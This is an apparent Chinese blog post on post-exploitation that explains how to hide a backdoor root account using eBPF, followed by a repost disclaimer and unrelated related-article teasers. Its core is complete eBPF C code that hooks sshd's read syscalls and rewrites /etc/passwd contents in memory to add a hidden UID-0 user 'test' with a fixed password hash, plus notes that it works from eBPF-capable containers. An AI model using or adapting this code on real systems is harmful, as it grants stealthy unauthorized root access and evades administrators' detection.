后渗透--利用ebpf隐藏后门用户

原理

首先我们要搞清楚ssh登陆的流程
先获取到ssh的pid
在这里插入图片描述
然后利用strace

strace -f   -p 830

可以看到他打开了/etc/passwd去读取内容
在这里插入图片描述

那么我们的思路就很简单,hook ssh进程的read syscall exit,然后篡改返回内容

代码

ebpf

// +build ignore

#include "my_def.h"
#include <stdbool.h>
char __license[] SEC("license") = "Dual MIT/GPL";

#define TASK_COMM_LEN 16
#define TARGET_NAME "sshd"
#define FILE_NAME "/etc/passwd"
#define CONSTANT_STR "root:x:0:0:root:/root:/bin/bash\n"



struct bpf_map_def SEC("maps") openat_map = {
    .type = BPF_MAP_TYPE_HASH,
    .key_size = sizeof(int),
    .value_size = sizeof(int),
    .max_entries = 256,
};

 __inline bool is_target( char * target,const char *src,int len) {
    if (memcmp(target, src, len) == 0) {
    return true;
    }
    return false;
}


 static __inline int handle_exit_read(struct bpf_raw_tracepoint_args *ctx) {
    struct pt_regs *regs = (struct pt_regs *)(ctx->args[0]);

     char *buffer_addr = NULL;
    bpf_probe_read(&buffer_addr , sizeof(buffer_addr) , &regs->si);
    char content[sizeof(CONSTANT_STR)]={0};
    bpf_probe_read_str(&content,sizeof(content),buffer_addr);

    

    if (is_target(content,CONSTANT_STR,sizeof(CONSTANT_STR))){
    char PAYLOAD[]="root:x:0:0:root:/root:/bin/bash\ntest:$6$7p31yPiD$xLKWF5uIeS6oibSO2nwDlSQEjrzgPEFcRkSVTCEaeoxibJnXjC5NOmTVC/dLvuSHBrVt8tknWaPZ/65PECL0C1:0:0::/root:/bin/sh\n";
    bpf_probe_write_user((char *)(buffer_addr), PAYLOAD, sizeof(PAYLOAD)-1);
    // char content2[200]={0};
    // bpf_probe_read_str(&content2,sizeof(content2),buffer_addr);
    // char fmt[] = "content:%s\n";
        // bpf_trace_printk(fmt,sizeof(fmt), content2);

    }

    return 0;

} 

SEC("raw_tracepoint/sys_exit")
int raw_tp_sys_exit(struct bpf_raw_tracepoint_args *ctx) {
    char comm[TASK_COMM_LEN] = {0};
    bpf_get_current_comm(&comm, sizeof(comm));
    if(!is_target(comm,TARGET_NAME,sizeof(TARGET_NAME))) return 0;
    
    struct pt_regs *regs = (struct pt_regs *)(ctx->args[0]);
    int syscall_id;
    bpf_probe_read(&syscall_id, sizeof(syscall_id) , &regs->orig_ax);//这里一定要用orig_ax,因为现在的rax值已经被修改
    switch(syscall_id){
    case 0:handle_exit_read(ctx);break;//read syscall
    default:break;
    }
    return 0;
}

代码逻辑比较简单。就是先获取进程名,判断是否为sshd, 然后判断syscall_id是否是read, 最后我用了比较粗暴的方法,匹配内容是否是/etc/passwd通用的第一行,然后覆盖返回结果

效果

可以看到无test用户
在这里插入图片描述

但是可以通过 test 123456直接登陆
在这里插入图片描述

当然如果关掉ebpf的程序是无法登陆的

当然我们可以把编译好的二进制的文件放到具有ebpf权限的容器里面,也是可以利用的
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/456924.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

基于YOLOv8/YOLOv7/YOLOv6/YOLOv5的日常场景下的人脸检测系统(深度学习模型+PySide6界面+训练数据集+Python代码)

摘要&#xff1a;开发用于日常环境中的人脸识别系统对增强安全监测和提供定制化服务极为关键。本篇文章详细描述了运用深度学习技术开发人脸识别系统的全过程&#xff0c;并附上了完整的代码。该系统搭建在强大的YOLOv8算法之上&#xff0c;并通过与YOLOv7、YOLOv6、YOLOv5的性…

一款针对加解密综合利用后渗透工具-DecryptTools

0x01前言 为什么会写这一款综合加解密工具&#xff0c;因为在很多比赛如果算拿下靶标不仅需要获取服务器权限还需要登录网站后台这时候很多系统要么数据库连接字符串加密&#xff0c;要么登陆用户加密而这款工具就是为了解决问题。加解密功能&#xff1a;该工具不仅有解密还提…

代码随想录算法训练营第四十七天|动态规划|198.打家劫舍、213.打家劫舍II、337.打家劫舍III

198.打家劫舍 文章 你是一个专业的小偷&#xff0c;计划偷窃沿街的房屋。每间房内都藏有一定的现金&#xff0c;影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统&#xff0c;如果两间相邻的房屋在同一晚上被小偷闯入&#xff0c;系统会自动报警。 给定一个代…

[Kali] 安装Nessus及使用

在官方网站下载对应的 Nessus 版本:Download Tenable Nessus | TenableDownload Nessus and Nessus Managerhttp://www.tenable.com/products/nessus/select-your-operating-system这里选择 Kali 对应的版本 一、安装 Nessus 1、下载得到的是 deb 文件,与

【数据结构与算法】:插入排序与希尔排序

&#x1f525;个人主页&#xff1a; Quitecoder &#x1f525;专栏: 数据结构与算法 欢迎大家来到初阶数据结构的最后一小节&#xff1a;排序 目录 1.排序的基本概念与分类1.1什么是排序的稳定性&#xff1f;1.2内排序与外排序内排序外排序 2.插入排序2.1实现插入排序2.3稳定性…

区块链基础知识(上):区块链基本原理、加密哈希、公钥加密

目录 基本原理 加密哈希&#xff1a; 公钥加密&#xff1a; 希望有人向你发送只有你才能打开的加密文档/消息时使用 PKC 希望向其他人发送加密文档/消息并证明它确实由你发送时使用 PKC 使用 PKC 和加密哈希对文档/消息进行数字签名 交易哈希链使用数字签名转让数字资产所…

学生时期学习资源同步-1 第一学期结业考试题1

原创作者&#xff1a;田超凡&#xff08;程序员田宝宝&#xff09; 版权所有&#xff0c;引用请注明原作者&#xff0c;严禁复制转载

程序人生 - 公司的技术总监每天都在干蛤?

来看看我的一个技术总监朋友怎么说的。 0、背景 我带领的这支技术团队&#xff0c;规模已达百人。这个数字一直在增长&#xff0c;我感到无比兴奋。团队中的每个成员都独特而不可或缺&#xff0c;他们分别专注于前端、后端、测试、运维和DBA&#xff0c;还有一部分专注于客户端…

基于51单片机的数控直流可调电源设计[proteus仿真]

181基于51单片机的数控直流可调电源设计[proteus仿真] 电源系统这个题目算是课程设计和毕业设计中常见的题目了&#xff0c;本期是一个基于51单片机的数控直流可调电源设计 需要的源文件和程序的小伙伴可以关注公众号【阿目分享嵌入式】&#xff0c;赞赏任意文章 2&#xffe…

Kotlin/Java中String的equals和==

Kotlin/Java中String的equals和 在Java中&#xff0c;如果定义一个常量String和new出一个String对象&#xff0c;是不同的&#xff1a; String s1 "zhang" String s2 new String("zhang") 因为在Java看来&#xff0c;s1只是一个常量&#xff0c;会放在…

FRM模型十六:期权策略(期权组合)

文章目录 备兑看涨期权&#xff08;Covered Call&#xff09;保护看跌期权&#xff08;protective put&#xff09;牛市价差套利熊市价差套利写在后面 本文所有代码基于windAPI&#xff0c;复现前先下载客户端并注册账号 备兑看涨期权&#xff08;Covered Call&#xff09; 构…

CVE-2022-1310:RegExp[@@replace] missing write barrier lead a UAF

文章目录 环境搭建漏洞分析漏洞利用漏洞触发链RCE原语构造 总结参考 环境搭建 嗯&#xff0c;这里不知道是不是环境搭建的有问题&#xff0c;笔者最后成功的实现了任意地址读写&#xff0c;但是任意读写的存在限制&#xff0c;任意写 wasm 的 RWX 区域时会直接报错&#xff0c…

暗光增强——IAT网络推理测试(详细图文教程)

IAT模型由两个独立的分支组成&#xff0c;局部分支用于像素调整&#xff0c;并输出两个用于加法和乘法的特征图。全局分支用于全局调整并输出颜色矩阵和gamma值&#xff0c;全局分支受DETR启发&#xff0c;网络通过动态查询学习的方式更新颜色矩阵和gamma值。整个模型只有超过9…

设置浏览器显示小于12px以下字体

问题 我们在项目开发过程中有时候会遇到设计师给的小于12px的字体&#xff0c;IE、火狐浏览器、移动端等小于12px的字号大小还是可以正常显示的&#xff0c;但是谷歌浏览器上显示字体最小为12px&#xff0c;css设置font-size&#xff1a;10px&#xff0c;运行代码显示结果仍然…

JAVA基础:数组、重载、数据类型、封装、字符串、静态、继承、重写、多态、代码块、权限、接口、内部类

1 数组 //静态初始化 int[] arr1new int[]{1,2,3,4} //简化形式 int[] arr2{1,2,3,4} //动态初始化 int[] arr3new int[5] 2 方法重载 在同一个类中的多个方法的方法名相同,参数个数不同&#xff0c;参数类型不同&#xff0c;参数类型顺序不同 public class Test1 {public …

KubeSphere 社区双周报|2024.02.29-03.14

KubeSphere 社区双周报主要整理展示新增的贡献者名单和证书、新增的讲师证书以及两周内提交过 commit 的贡献者&#xff0c;并对近期重要的 PR 进行解析&#xff0c;同时还包含了线上/线下活动和布道推广等一系列社区动态。 本次双周报涵盖时间为&#xff1a;2024.02.29-03.14…

多媒体操作流程

&#xff01; 从左至右依次为&#xff1a;话筒、投影遥控器、ppt演讲笔、幕布升降遥控器、无线投屏连接器 主机箱 投影仪 二、操作流程 1、打开主机电源&#xff1a;最下面两台设备的开关打开 2、打开投影仪&#xff1a;用投影遥控器对准投影仪按开机键&#xff08;如无需用到…

SwiftUI的context Menu

SwiftUI的 context Menu 现在来演示一下如何使用 SwiftUI 的 Context Menu 。 代码&#xff1a; import SwiftUIstruct ContextMenuBootCamp: View {State var bgColor: Color .purplevar body: some View {VStack(alignment: .leading, spacing: 10.0) {Image(systemName: …

【开源】SpringBoot框架开发公司货物订单管理系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 客户管理模块2.2 商品维护模块2.3 供应商管理模块2.4 订单管理模块 三、系统展示四、核心代码4.1 查询供应商信息4.2 新增商品信息4.3 查询客户信息4.4 新增订单信息4.5 添加跟进子订单 五、免责说明 一、摘要 1.1 项目…

力扣刷题日记——L83. 删除排序链表中的重复元素

1. 前言 今天是力扣刷题打卡的第四天&#xff0c;今天带来一道简单题。一开始做了一道中等难度的题&#xff0c;但是很遗憾&#xff0c;没有解出来&#xff0c;但是为了不耽误今天的打卡计划&#xff0c;所以先选一个简单题做了&#xff0c;回头做出来那道题再和大家分享。话不…